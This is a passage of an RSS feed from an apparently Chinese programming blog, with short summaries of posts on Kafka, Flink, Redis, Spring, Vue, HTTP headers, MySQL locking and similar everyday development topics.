&#34;../assets/scss/globalMixin.scss&#34;;&#39; } } }, 如图&#xA;直接使用即可&#xA;按需引入 在需要使用的style里import引入即可使用&#xA;四：注意事项 使用sass的时候，是使用lang=scss并不是lang=sass，否则样式会失去高亮且代码报错&#xA;over~</description>
    </item>
    <item>
      <title>Kafka锦集（二）：三种不同方式，查看kafka是否已启动</title>
      <link>https://bchobby.github.io/posts/9146b901004e0fb80d1f877477958bd4/</link>
      <pubDate>Sat, 15 Oct 2022 13:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9146b901004e0fb80d1f877477958bd4/</guid>
      <description>前言 Kafka的启动之前，必不可少的三个操作：&#xA;1、启动Zookeeper服务，点击进入 bin/zookeeper-server-start.sh -daemon config/zookeeper.properties&#xA;2、 Kafka的下载和安装 3、修改Kafka安装目录下./config/server.properties文件里的监听窗口，点击进入。&#xA;kafaka启动命令 #pwd //查看当前路径 /usr/src/kafka_2.13-3.3.1 #./bin/kafka-server-start.sh -daemon ./config/server.properties //启动命令 方式一、使用jps命令 jps是jdk提供的一个查看当前java进程的小工具， 全称是JavaVirtual Machine Process Status Tool。&#xA;语法：jps [options] [hostid]&#xA;#jsp #jps -ml 注意：jps仅查找当前用户的Java进程，而不是当前系统中的所有进程！&#xA;#jps --help jps命令具体 [options]选项解析：&#xA;-q：仅输出VM标识符，不包括classname,jar name,arguments in main method；&#xA;-m：输出main method的参数；&#xA;-l：输出完全的包名，应用主类名，jar的完全路径名；&#xA;-v：输出jvm参数 ；&#xA;-V：输出通过flag文件传递到JVM中的参数(.hotspotrc文件或-XX:Flags=所指定的文件 ；&#xA;常用组合&#xA;jps –l 输出主类或者jar的完全路径名&#xA;jps –v 输出jvm参数&#xA;jps –q 仅仅显示java进程号&#xA;jps -ml 方式二、使用lsof -i:port的命令 lsof命令简述：&#xA;list open files是一个列出当前系统打开文件的工具。在linux环境下，任何事物都以文件的形式存在，通过文件不仅仅可以访问常规数据，还可以访问网络连接和硬件。&#xA;该命令的执行，需要有管理员权限，它的作用主要有三：&#xA;1）查看端口被占用的情况；&#xA;2）查看服务是否启动；&#xA;3）查看有哪些用户（IP）连接了当前的Web服务</description>
    </item>
    <item>
      <title>flink任务优化总结</title>
      <link>https://bchobby.github.io/posts/f802272a6d8706222a98d1bbd3913629/</link>
      <pubDate>Sat, 15 Oct 2022 12:01:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f802272a6d8706222a98d1bbd3913629/</guid>
      <description>本博客总结为B站尚硅谷大数据Flink2.0调优，Flink性能优化视频的笔记总结。&#xA;1. 资源配置调优 Flink 性能调优的第一步，就是为任务分配合适的资源，在一定范围内，增加资源的分配与性能的提升是成正比的，实现了最优的资源配置后，在此基础上再考虑进行后面论述的性能调优策略。&#xA;提交方式主要是 yarn-per-job ，资源的分配在使用脚本提交 Flink 任务时进行指定。&#xA;标准的 Flink 任务提交脚本 （Generic CLI 模式）&#xA;从 1.11 开始，增加了通用客户端模式，使用-D&amp;lt;property=value&amp;gt;指定其他的参数：&#xA;bin/flink run \ -t yarn-per-job \ -d \ -p 5 \ 指定并行度 -Dyarn.application.queue=test \ 指定 yarn 队列 -Djobmanager.memory.process.size=1024mb \ 指定 JM 的总进程大小 -Dtaskmanager.memory.process.size=1024mb \ 指定每个 TM 的总进程大小 -Dtaskmanager.numberOfTaskSlots=2 \ 指定每个 TM 的 slot 数 -c com.atguigu.flink.tuning.UvDemo \ /opt/module/flink-1.13.1/myjar/flink-tuning-1.0-SNAPSHOT.jar 如果是使用 -m yarn-cluster，则使用 -yD &amp;lt;property=value&amp;gt; 指定其他的参数：&#xA;bin/flink run \ -m yarn-cluster \ -d \ -p 5 \ 指定并行度 -yDyarn.</description>
    </item>
    <item>
      <title>华为RH2288 V3服务器新加硬盘不识别</title>
      <link>https://bchobby.github.io/posts/18f362685339091d6b7b7ad3c5b75fb7/</link>
      <pubDate>Sat, 15 Oct 2022 11:08:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18f362685339091d6b7b7ad3c5b75fb7/</guid>
      <description>华为服务器RH2288 V3原本6块本地硬盘配置RAID5,后新加入2块本地硬盘配置RAID(RAID卡类型LSI SAS3108)时,不能被BIOS Configuration Utility界面VD Mgmt页签识别到处理方法。&#xA;首先，检查IBMC portal,不存在硬盘故障告警信息，硬盘指示灯正常。&#xA;重启服务器，当显示器出现下图界面时，按“Ctrl+R”，进入RAID配置界面。&#xA;在BIOS Configuration Utility界面PD Mgmt页签查看新加入2块硬盘的状态,显示为Foreign。&#xA;此时，需要清除RAID卡的外部配置。按“Ctrl+P”切换到“Foreign View”页签。&#xA;选择要删除外部配置的RAID卡SAS3108,按F2,选择“Clear”清除外部配置,并按“Enter”确认。&#xA;此情况硬盘不识别的根本原因在于：服务器原有硬盘已经进行了RAID配置操作,新加入的硬盘也已经存在一个RAID配置,所以会被判定为“foreign”状态,不能在BIOS Configuration Utility界面VD Mgmt页签识别到。</description>
    </item>
    <item>
      <title>spring security 密码校验——用户输入的密码和数据库密码值</title>
      <link>https://bchobby.github.io/posts/1584daade868d421416e438179f298ee/</link>
      <pubDate>Fri, 14 Oct 2022 22:11:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1584daade868d421416e438179f298ee/</guid>
      <description>如果控制台抛异常：security.authentication.BadCredentialsException 一定一定要仔细检查数据库密码，绝大概率就是这里的问题。&#xA;先检查数据库存的密码是否是在securityConfig配置类里注入的加密方法，加密后的结果&#xA;eg：用security自带的BC加密&#xA;public class SecurityConfig extends WebSecurityConfigurerAdapter { //创建BCryptPasswordEncoder注入容器 @Bean public PasswordEncoder passwordEncoder(){ return new BCryptPasswordEncoder(); } } 那么可以在主方法进行测试：&#xA;public class SpringBootSecurityApplication { public static void main(String[] args) { BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder(); //raw1是用户输入的密码 String raw1 = &#34;cb2e6f1a703cbc1c7009b95f4709274c&#34;; //encode1是用户输入密码加密后的结果 String encodeS1 = passwordEncoder.encode(raw1); System.out.println(&#34;15680612913：&#34;+encodeS1); } } 在控制台进行打印的结果，存到数据库中，就可以了。</description>
    </item>
    <item>
      <title>基于RK1126的人工智能安防检测方案，支持AI算法二次开发定制</title>
      <link>https://bchobby.github.io/posts/b9c788405f1aeacfc04575d67095d0aa/</link>
      <pubDate>Fri, 14 Oct 2022 20:16:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9c788405f1aeacfc04575d67095d0aa/</guid>
      <description>AI BOX 是一款基于 RK1126 设计的高性能、低功耗的边缘计算设备，2Tops。RK1126 支持 4K H264/H265 解码器解码，支持1080P@60fps H264/H265 编码器编码，支持 HDMI视频输出最高可达 4K@30fps，外观上具有轻量化、灵活性强等特点，可广泛应用于新零售、智能安防、智慧课堂、电玩游戏机等领域场景。&#xA;算法可按照客户要求定制移植： 支持跌倒检测，攀爬识别，打架识别， 离岗识别，睡岗识别，火焰识别，烟雾识别， 消防通道占用，电子围栏，垃圾满溢，流量统计等&#xA;主要参数：&#xA;RV1126 HCoreV1.1 核心板采用瑞芯微RV1126 主芯片+1GB DDR3 内存+ 8GB EMMC 最大支持4路1080P/30AI运算 集成NPU 2.0T 算力，可集成adas/caffe/tensorflow/mxnet/pytorch 等算法 支持100M/千兆以太网口 可以通过SD 卡升级，提供两组USB 接口，可分别设置成 HOST、DEVICE 可选外接 WIFI/支持外置有源GPS/可选外接4/5G模块 支持串口调试/支持一路CAN总线，可通过串口扩展多路CAN 提供二次开发SDK开发包/支持屏蔽罩散热，PCBA可支持定制开发&#xA;8路边缘计算盒子，基于瑞芯微RV1126 主芯片平台芯片，自主研发生产的轻量级、可搭载多种主流算法的视频智能分析设备。 应用于：为各大企业提供了轻量级、多平台、易移植、高算力、高能低耗、支持二次开发的边缘计算产品，广泛应用于电力、能源、油站、智慧工地、智慧社区、智慧交通、智能安防等领域行为分析。&#xA;功能特点： ●算力的 2T 模组，更灵活地适配不同的算法部署环境。 ● 支持 adas/caffe/tensorflow/mxnet/pytorch 等主流深度学习框架； ● 支持人脸检测、火焰、吸烟、跟踪、识别、姿态识别、安全帽检测等网络模型 ● 支持100M/千兆以太网口，可扩展4/ 5G/WIFI 无线网络方式； ● 低功耗设计，结合外壳散热，可增加散热风扇主动散热，产品稳定可靠； ● 完全嵌入式结构，高度集成，可支持桌面放置或挂墙安装，安装和维护都非常方便 ● 丰富的外设接口资源，包括 MSATA/M2/ RS485/ RS232/TF/LINE IN/LINE OUT 等接口。</description>
    </item>
    <item>
      <title>redis多路IO复用原理</title>
      <link>https://bchobby.github.io/posts/756ef91409d91ad287d0119cb8973635/</link>
      <pubDate>Fri, 14 Oct 2022 17:18:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756ef91409d91ad287d0119cb8973635/</guid>
      <description>redids的IO多路复用例子： 1，2，3 三个人通过黄牛去买票，当1买的票没有时，1还可以干其他的事情，2和3一次类推，黄牛发现1的票有的时候再告知1去买票，此时1再去买票。即多路IO服用的意思是CPU在等待执行命令A的时候还可以去执行别的命令，使得CPU有充分的利用率。</description>
    </item>
    <item>
      <title>java超好用的文本文件读写方法</title>
      <link>https://bchobby.github.io/posts/8dc640f883070dde19b9776f1e1cdebf/</link>
      <pubDate>Fri, 14 Oct 2022 16:40:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dc640f883070dde19b9776f1e1cdebf/</guid>
      <description>在浏览了无数java文件读写的方法之后，我终于总结出来了两个超实用的读写方法~&#xA;话不多说，上干货！！！&#xA;------------------------------------------------------------------------------------------------------------------------------&#xA;一、文本文件的读取方法&#xA;void read() throws FileNotFoundException { File file = new File(&#34;registrationReview.txt&#34;);//文件名 Scanner input = new Scanner(file); while (input.hasNext()){ String s1 = input.next(); String s2 = input.next(); String s3 = input.next(); String s4 = input.next(); String s5 = input.next(); Main.registReviews.add(new RegistReview(s1,s2, s3, s4, s5)); } input.close(); } 注：Main.registReviews是ArrayList&amp;lt;registReviews&amp;gt; 的名字，定义方式为：&#xA;ArrayList&amp;lt;registReview&amp;gt; registReviews = new ArrayList&amp;lt;&amp;gt;();&#xA;其中registReview 是一个自定义类&#xA;二、文本文件的写入方法&#xA;void write(ArrayList&amp;lt;RegistReview&amp;gt; objects, String txt){ File f1 = new File(txt); PrintWriter output = null; try { output = new PrintWriter(f1); } catch (FileNotFoundException ex) { ex.</description>
    </item>
    <item>
      <title>vue数据增删改查及表单验证</title>
      <link>https://bchobby.github.io/posts/505904f4e309c49fe2fd5fbd5608ac32/</link>
      <pubDate>Fri, 14 Oct 2022 15:40:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/505904f4e309c49fe2fd5fbd5608ac32/</guid>
      <description>目录&#xA;1. 准备工作&#xA;2. 弹出窗口&#xA;3. 新增更新功能&#xA;4. 删除功能&#xA;5. 表单验证&#xA;5. 接口文档&#xA;1. 准备工作 后台服务接口，对书本的增删改查操作&#xA;2. 弹出窗口 进入ElementUi官网， 找到Dialog对话框，可以参考“嵌套表单的dialog”实现。&#xA;该步骤先实现弹出窗口的前端逻辑，并不会调用后台接口服务进行实际的业务操作。&#xA;BookList.vue&#xA;&amp;lt;!-- 弹出窗口：增加和修改书本信息共用一个弹出窗口，需要根据用户的选择动态的设置弹出窗口的标题 :tile 通过绑定值的方式设置dialog的标题 :visible.sync 控制弹出窗口的显示或隐藏，.sync同步修饰符 @close=&#34;closeBookForm&#34;，设置窗口关闭时调用的处理函数，可用于清空表单 :model=&#34;bookForm&#34;：用于定义表单对应的model，具体model的定义可见data部分。 v-show=&#34;optiontype == &#39;update&#39;&#34; 通过操作类型控制是否显示书本编号字段，如果当前操作类型为 新增，则不用显示，书本编号在数据表中是自增的。 :label-width=&#34;formLabelWidth&#34; 统一定义标签的宽度。 :style=&#34;{width: formEleWidth}&#34; 统一定义form元素的宽度。 --&amp;gt; &amp;lt;el-dialog :title=&#34;dialogName&#34; :visible.sync=&#34;dialogFormVisible&#34; @close=&#34;closeBookForm&#34; width=&#34;500px&#34;&amp;gt; &amp;lt;el-form :model=&#34;bookForm&#34;&amp;gt; &amp;lt;el-form-item v-show=&#34;optiontype == &#39;update&#39;&#34; label=&#34;编号&#34; :label-width=&#34;formLabelWidth&#34;&amp;gt; &amp;lt;el-input v-model=&#34;bookForm.id&#34; autocomplete=&#34;off&#34; :style=&#34;{width: formEleWidth}&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;书名&#34; :label-width=&#34;formLabelWidth&#34;&amp;gt; &amp;lt;el-input v-model=&#34;bookForm.bookname&#34; autocomplete=&#34;off&#34; :style=&#34;{width: formEleWidth}&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;</description>
    </item>
    <item>
      <title>spring-IOC、AOP及项目经验分享</title>
      <link>https://bchobby.github.io/posts/1c8791d37c124d975e48a50b68a7c8d9/</link>
      <pubDate>Fri, 14 Oct 2022 14:36:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c8791d37c124d975e48a50b68a7c8d9/</guid>
      <description>spring-IOC、AOP及项目经验分享&#xA;IoC： Inversion of Control (控制反转/反转控制)，它是一个技术思想而不是一个技术实现，在Java开发领域他所描述的事情是对象的创建和管理的问题。 与传统开发方式相比在IOC的思想开发方式下，当类A需要以来类B时，我们不要自己去new对象了，而是由IOC容器帮我们实例化对象并且去管理它，我们需要什么对象直接从IOC容器中获取即可，由此我们可以省去创建和管理对象的一系列事情，也丧失了创建、管理对象的权力。 控制反转解释： 控制：指的是对象创建（实例化、管理）的权利 反转：控制权交给外部环境了（spring框架、IoC容器 IOC解决了什么问题 IoC解决对象之间的耦合问题，例如当service层调用dao层时，传统方式下我们需要在service中new出dao层的具体实现类，这时当我们实现类需要改变时，service层也需要做相应的改变，这就造成了service层和dao层的强耦合。而使用IOC实例化对像时，我们只需要关注调用的dao层的接口，在service中声明接口属性，具体的实现类在IOC容器中进行切换，因此也不会产生对象中强耦合的情况。 示例图如下： 一、IOC（Inverse of Control）：控制反转，也可以称为依赖倒置 所谓依赖，从程序的角度看，就是比如A要调用B的方法，那么A就依赖于B，因为A要用到B，所以A就必须依赖于B的方法。&#xA;所谓倒置，你必须理解如果不倒置，会怎么着，因为A必须要有B，才可以调用B，如果不倒置，意思就是A主动获取B的实例：B b = new B()，这就是最简单的获取B实例的方法（当然还有各种设计模式可以帮助你去获得B的实例，比如工厂、Locator等等），然后你就可以调用b对象了。&#xA;所以，不倒置，意味着A要主动获取B，才能使用B；到了这里，就应该明白了倒置的意思了。倒置就是A要调用B的话，A并不需要主动获取B，而是由其它人自动将B送上门来。&#xA;形象的举例就是：&#xA;通常情况下，假如你有一天在家里口渴了，要喝水，那么你可以到你小区的小卖部去，告诉他们，你需要一瓶水，然后小卖部给你一瓶水！这本来没有太大问题，关键是如果小卖部很远，那么你必须知道：从你家如何到小卖部；小卖部里是否有你需要的水；你还要考虑是否开着车去；等等等等，也许有太多的问题要考虑了。&#xA;也就是说，为了一瓶水，你还可能需要依赖于车等等这些交通工具或别的工具，问题是不是变得复杂了？那么如何解决这个问题呢？&#xA;解决这个问题的方法很简单：小卖部提供送货上门服务，凡是小卖部的会员，你只要告知小卖部你需要什么，小卖部将主动把货物给你送上门来！这样一来，你只需要做两件事情，你就可以活得更加轻松自在：&#xA;第一：向小卖部注册为会员。&#xA;第二：告诉小卖部你需要什么。&#xA;这和Spring的做法很类似！Spring就是小卖部，你就是A对象，水就是B对象&#xA;第一：在Spring中声明一个类：A&#xA;第二：告诉Spring，A需要B&#xA;假设A是UserAction类，而B是UserService类&#xA;&amp;lt;bean id=&#34;userService&#34; class=&#34;org.leadfar.service.UserService&#34;/&amp;gt; &amp;lt;bean id=&#34;documentService&#34; class=&#34;org.leadfar.service.DocumentService&#34;/&amp;gt; &amp;lt;bean id=&#34;orgService&#34; class=&#34;org.leadfar.service.OrgService&#34;/&amp;gt; &amp;lt;bean id=&#34;userAction&#34; class=&#34;org.leadfar.web.UserAction&#34;&amp;gt; &amp;lt;property name=&#34;userService&#34; ref=&#34;userService&#34;/&amp;gt; &amp;lt;/bean&amp;gt; 在Spring这个商店（工厂）中，有很多对象/服务：userService,documentService,orgService，也有很多会员：userAction等等，声明userAction需要userService即可，Spring将通过你给它提供的通道主动把userService送上门来，因此UserAction的代码示例类似如下所示：&#xA;package org.leadfar.web; public class UserAction{ private UserService userService; public String login(){ userService.valifyUser(xxx); } public void setUserService(UserService userService){ this.userService = userService; } } 在这段代码里面，你无需自己创建UserService对象（Spring作为背后无形的手，把UserService对象通过你定义的setUserService()方法把它主动送给了你，这就叫依赖注入！），当然咯，我们也可以使用注解来注入。</description>
    </item>
    <item>
      <title>HTTP请求头-这些参数的含义你记得几个</title>
      <link>https://bchobby.github.io/posts/c1b8b3af8382a19c7f956439200a1420/</link>
      <pubDate>Fri, 14 Oct 2022 14:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1b8b3af8382a19c7f956439200a1420/</guid>
      <description>作为互联网的职业人员，日常都需要与浏览器打交道，很多人对浏览器请求头局限于请求方式，请求状态码，请求参数的认知；对于请求头的其他辅助参数都不了解；以便于测试人员或开发人员更好的了解http的交互原理；&#xA;http请求分为三部分：&#xA;请求行（General），请求头（Request Headers）， 请求体（Query String Parameters）&#xA;请求头 报文头包含若干个属性 格式为“属性名:属性值”，服务端据此获取客户端的基本信息，其中User-Agent为常用属性，可以获取客户端基本信息； 常见的请求头（Request Headers）&#xA;属性名说明Accept览器支持的 MIME 媒体类型, 比如 text/html,application/json,image/webp,/ 等Accept-Encoding浏览器发给服务器,声明浏览器支持的编码类型，gzip, deflateAccept-Language客户端接受的语言格式,比如 zh-CNConnectionkeep-alive , 开启HTTP持久连接Host服务器的域名Origin告诉服务器请求从哪里发起的，仅包括协议和域名 CORS跨域请求中可以看到response有对应的header，Access-Control-Allow-OriginReferer告诉服务器请求的原始资源的URI，其用于所有类型的请求，并且包括：协议+域名+查询参数； 很多抢购服务会用这个做限制，必须通过某个入来进来才有效User-Agent服务器通过这个请求头判断用户的软件的应用类型、操作系统、软件开发商以及版本号、浏览器内核信息等； 风控系统、反作弊系统、反爬虫系统等基本会采集这类信息做参考Cookie表示服务端给客户端传的http请求状态,也是多个key=value形式组合，比如登录后的令牌等Content-Type HTTP请求提交的内容类型，post提交时才需要设置，比如文件上传，表单提交、json等&#xA;form表单提交：application/x-www-form-urlencodedjson方式提交：application/json 请求头参数示例 响应头content-type内容常见类型 Content-type: 用来指定不同格式的请求响应信息，俗称 MIME媒体类型&#xA;类型 说明&#xA;text/htmlHTML格式text/plain纯文本格式text/xmlXML格式image/gif gif图片格式image/jpegjpg图片格式image/pngpng图片格式application/jsonJSON数据格式application/pdfpdf格式application/octet-stream二进制流数据，一般是文件下载multipart/form-data表单中需要上传文件的文件格式类型application/x-www-form-urlencodedform表单默认的提交数据的格式，会编码成key=value格式 HTTP深入了解参考 ---&amp;gt;HTTP | MDN</description>
    </item>
    <item>
      <title>Cannot access aliyunmaven ( xxx ) in offline mode and the artifact</title>
      <link>https://bchobby.github.io/posts/ef6e97b49b1736f3f1223026c8d11a37/</link>
      <pubDate>Fri, 14 Oct 2022 13:58:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef6e97b49b1736f3f1223026c8d11a37/</guid>
      <description>Cannot access aliyunmaven ( xxx ) in offline mode and the artifact 记一次Maven无脑报错&#xA;报错提示：&#xA;Cannot access aliyunmaven (https://maven.aliyun.com/repository/public) in offline mode and the artifact&#xA;当看到这个报错信息后，首先想到的就是maven环境变量是否配置正确，然而经过一番查看后，发现maven配置是没有问题的，然后又想到是不是idea中maven没有配置正确，因为idea没有配置正确，是极有可能出现上述报错的，然而我的idea配置如下，也是没有问题的；&#xA;随后我想到，会不会是阿里云镜像改变了，导致读不到阿里云远程maven镜像了，随之我查了下阿里云仓库镜像，发现也是没有问题的；&#xA;后来经过一系列的查看各种配置发现，是idea中一项设置所导致的；&#xA;这个选项是脱机工作，意思就是不读取远程仓库，只读取本地已有的仓库，之所以报错原因就是我本地仓库是空的，然而我还选择了脱机工作🤣，真是愚蠢的一次报错。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「ITMuscle」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/ITMuscle/article/details/122397062</description>
    </item>
    <item>
      <title>Redis（十二）SpringBoot集群搭建redis【主从复制&amp;哨兵模式】</title>
      <link>https://bchobby.github.io/posts/3601195d190b968d6f5d25ac52a0168e/</link>
      <pubDate>Fri, 14 Oct 2022 12:04:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3601195d190b968d6f5d25ac52a0168e/</guid>
      <description>十二、 SpringBoot实现主从复制 12.1 首先要在Linux虚拟机上安装redis # 安装包存放目录 cd /usr/local/redis # 下载最新稳定版 wget https://download.redis.io/releases/redis-6.2.6.tar.gz # 解压 tar -zxvf redis-6.2.6.tar.gz # 进入解压后的目录 cd /usr/local/redis/redis-6.2.6/ # 编译 make # 执行 &#34;make install&#34; 默认会安装到 /usr/local/bin,可通过PREFIX指定安装路径 make install PREFIX=/usr/local/redis # 测试是否安装成功,执行下面命令 /usr/local/redis/bin/redis-server 下载安装好的文件 测试启动，看是否能够正常运行 12.2 主从及哨兵配置 简要过程&#xA;三个redis-server服务都运行在我们虚拟机上，我这里的设置的IP地址都为192.168.159.100（根据自己的IP地址定义），端口分别为6380、6381、6382，以6380作为主节点，6381、6382作为从节点&#xA;1）主从复制（master&amp;amp;slave） 配置redis.conf运行文件 先创建一个 redis-cluster 文件夹 拷贝三份redis.conf文件到 redis-cluster 文件夹目录下 配置文件可在解压后的源码文件根目录中找到，这里以从节点 6381 配置文件为例，其余两个配置文件几乎一致。首先将配置文件redis.conf拷贝到/usr/local/redis/redis-cluster（redis-cluster文件夹需要手动创建），拷贝三份，然后进行下面的修改&#xA;# (1)设置允许外部ip访问,需要注释掉bind配置,并关掉保护模式 # bind 127.0.0.1 -::1 protected-mode no # (2)修改端口号 port 6381 # (3)修改为以守护进程模式后台运行 daemonize yes # (4)修改pid文件名,以守护进程运行的时候,会产生pid文件,默认位置为 /run/redis.</description>
    </item>
    <item>
      <title>使用CSS进行图片自适应的两个方法</title>
      <link>https://bchobby.github.io/posts/271838b15f3085ab658530406ea457df/</link>
      <pubDate>Fri, 14 Oct 2022 11:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/271838b15f3085ab658530406ea457df/</guid>
      <description>1.object-fit 属性 设置好图片的宽高，然后设置object-fit属性为contain就是常见的图片自适应效果。&#xA;img { width: 400px; height: 400px; object-fit: contain; } object-fit: fill|contain|cover|scale-down|none|initial|inherit; 2.background 我们把图片作为背景，然后用background-size属性进行调节&#xA;.img-container{ width:688px; height:304px; background: black url(./test.png) no-repeat center center; background-size: contain; } 本文转自链接：https://www.jianshu.com/p/78e4a240370c</description>
    </item>
    <item>
      <title>使用Verdi或DVE分析波形的一些小技巧</title>
      <link>https://bchobby.github.io/posts/bda43064ead49b50a06d38dc1ab08ed7/</link>
      <pubDate>Fri, 14 Oct 2022 09:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bda43064ead49b50a06d38dc1ab08ed7/</guid>
      <description>本文记录使用Verdi或DVE查看delta cycle的方法和分享一些分析波形的小技巧。&#xA;文章目录 查看Delta Cycle的方法Verilog和SV的仿真调度机制使用Verdi查看Delta Cycle的方法使用DVE查看Delta Cycle的方法 Verdi的一些其他小技巧总线拆分事件统计逻辑运算修改参数显示进制 查看Delta Cycle的方法 Verilog和SV的仿真调度机制 在仿真时可能会遇到一些设计和验证平台之间竞争冒险的问题。Verilog有一套仿真调度机制，一个时间片（time-slot）被分为Active, Inactive, NBA 区域，可以理解为分别主要用于阻塞赋值、零延时操作和更新非阻塞赋值。SystemVerilog又在这一基础上将设计和验证平台的事件分开调度，在同一时间片之后引入了Observed, Reactive, Postpone 区域，分别执行断言、验证平台和输入采样。SV-2017的IEEE标准中展示了完整的time slot region划分，如下图所示。&#xA;一个时间片可分为无限小的delta cycle，其时间精度比最小单位 fs 还小，在使用Verdi或DVE仿真时，可以通过查看delta cycle来分析硬件仿真和验证平台间的准确时序前后关系。&#xA;使用Verdi查看Delta Cycle的方法 一个非常简单的例子如下，APB总线是在每周期第二个pclk采到penable的高电平，而非在第一个pclk，那么怎么通过波形上确认呢？在使用VCS仿真时，可以在仿真simv命令后添加选项 +fsdb+region。&#xA;用Verdi打开fsdb波形后，打开波形窗口 View 选项下的&#34;Region mode&#34;，然后点击 Expand/Collapse Time at Cursor，或直接选中波形按w键。&#xA;然后就可以看到仿真时刻的delta cycle，并且选中还可以看到当前时刻所在的region。这里绿色区域为Active Region，红色区域为NBA Region。借助event region可以很好理解为何是在第二个pclk采到penable高电平。&#xA;另外，也通过选择 Tools -&amp;gt; Event Sequence 来显示图形化的事件序列，效果如图所示。&#xA;使用DVE查看Delta Cycle的方法 在VCS仿真命令中添加 -gui 参数即可调用DVE仿真。DVE也可以在仿真进行时观察波形，这里如果没有事先存储波形文件的话，需要在 run 命令前执行&#34;dump -add /*“命令，对全部或指定层次的波形采样。这里给出同样一个APB总线的例子。&#xA;在波形窗口打开 Simulator 选项下的 Capture Delta Cycle Values。&#xA;然后在波形对应时间点，右键选择&#34;Expand Time”，即可看到展开了的delta cycle。&#xA;Verdi的一些其他小技巧 总线拆分 选中信号右键 -&amp;gt; Bus Operation -&amp;gt; Expand ad Sub-bus，可以将多比特bus选取特定位宽拆分成sub-bus，或者直接在弹出对话框的 Every 项内输入n值，按每n个bits拆分。</description>
    </item>
    <item>
      <title>结合Jackson Streaming API和ObjectMapper来处理JSON</title>
      <link>https://bchobby.github.io/posts/443b66fd7b00f175e36d294dfd3fcab0/</link>
      <pubDate>Fri, 14 Oct 2022 09:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/443b66fd7b00f175e36d294dfd3fcab0/</guid>
      <description>Jackson Streaming API 允许我们解析巨大的JSON文档，而无需一次性将其全部内容加载到内存中。它是处理JSON内容最有效的方法，具有最低的内存和处理开销，但它也有成本: 不是处理JSON内容最方便的方法。&#xA;在这篇文章中，我们将看到如何在不失去ObjectMapper提供的强大数据绑定功能的情况下利用Jackson Streaming API。&#xA;简介 出于演示的目的，让我们考虑我们想要解析JSON数组，其中每个元素代表一个联系人:&#xA;[ { &#34;id&#34;: 1, &#34;firstName&#34;: &#34;John&#34;, &#34;lastName&#34;: &#34;Doe&#34;, &#34;emails&#34;: [ &#34;john.doe@mail.com&#34; ], &#34;createdDateTime&#34;: &#34;2019-08-19T20:30:00Z&#34; }, { &#34;id&#34;: 2, &#34;firstName&#34;: &#34;Jane&#34;, &#34;lastName&#34;: &#34;Poe&#34;, &#34;emails&#34;: [ &#34;jane.poe@mail.com&#34;, &#34;janep@mail.com&#34; ], &#34;createdDateTime&#34;: &#34;2019-08-19T20:45:00Z&#34; } ] 每个联系人都可以映射到 Contact &#39;的一个实例，定义如下:&#xA;@Data public class Contact { private Integer id; private String firstName; private String lastName; private List&amp;lt;String&amp;gt; emails; private OffsetDateTime createdDateTime; } 在大多数应用程序中，我们可以利用ObjectMapper提供的数据绑定功能，并使用以下代码解析数组:&#xA;ObjectMapper mapper = new ObjectMapper(); mapper.</description>
    </item>
    <item>
      <title>MySQL Innodb引擎锁的分类及死锁排查</title>
      <link>https://bchobby.github.io/posts/9d45d2e0140d1d6f3dc2ad1bafdc9e7d/</link>
      <pubDate>Fri, 14 Oct 2022 09:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d45d2e0140d1d6f3dc2ad1bafdc9e7d/</guid>
      <description>​&#xA;1、概览 在实际工作过程中遇到了数据库死锁的问题，在查阅资料的时候遇到了各种锁的概念。&#xA;共享锁、排它锁、表级锁、行级锁、记录锁、间隙锁、临键锁、插入意向锁、自增锁等等等等，这些概念如果能够弄清楚其中区别自然最好，但理清这些概念是在是太麻烦了。而且从实际工作情况出发，理清这些概念再去解决实际的工作问题效率太低。&#xA;所以我这里基于MySQL数据库的Innodb引擎（注意是MySQL数据库的Innodb引擎，其它引擎或数据库以下总结不完全适用，但有一定的参考价值），以及实际的工作场景，做了以下梳理：&#xA;锁的概念进行简化以实际sql详细说明锁的产生条件常见解决死锁的方法 2、锁的分类 2.1、从产生锁的行为来划分 2.1.1、共享锁 又被称为读锁、S锁等，事务在对数据进行查询，需要先获取数据的共享锁&#xA;2.1.2、排它锁 又被称为写锁、X锁等，事务在对数据进行修改时，需要先获取数据的排它锁&#xA;2.1.3、注意 这里“需要先获取数据的共享锁、排它锁”不代表说操作哪条数据，就只锁哪条数据，有可能只操作一条数据，但却锁了某个数据区间、甚至是整张表。锁的范围见下方解释&#xA;2.1.4、互斥关系 共享锁和排它锁的兼容和互斥关系想必大家都清楚，这里还是做个简单说明：&#xA;如果一个事务给表已经加了S锁，则： 别的事务可以继续获得该表的S锁，也可以获得该表中某些记录的S锁。 别的事务不可以继续获得该表的X锁，也不可以获得该表中某些记录的X锁。 如果一个事务给表加了X锁，那么 别的事务不可以获得该表的S锁，也不可以获得该表某些记录的S锁。 别的事务不可以获得该表的X锁，也不可以继续获得该表某些记录的X锁。 2.2、从锁的范围来划分 2.2.1、表锁 即整张表的数据都被锁定了。&#xA;产生场景 sql执行语句没有合理的构建索引;&#xA;MySQL优化器自行进行了全表扫描&#xA;2.2.2、行锁 即只锁定一行的数据。&#xA;产生场景 主键索引精确查询且能查找到数据; 2.2.3、间隙锁; 即只锁定一个区间（间隙）的数据，这个产生场景最多，所以放在最后特别说明。&#xA;产生场景 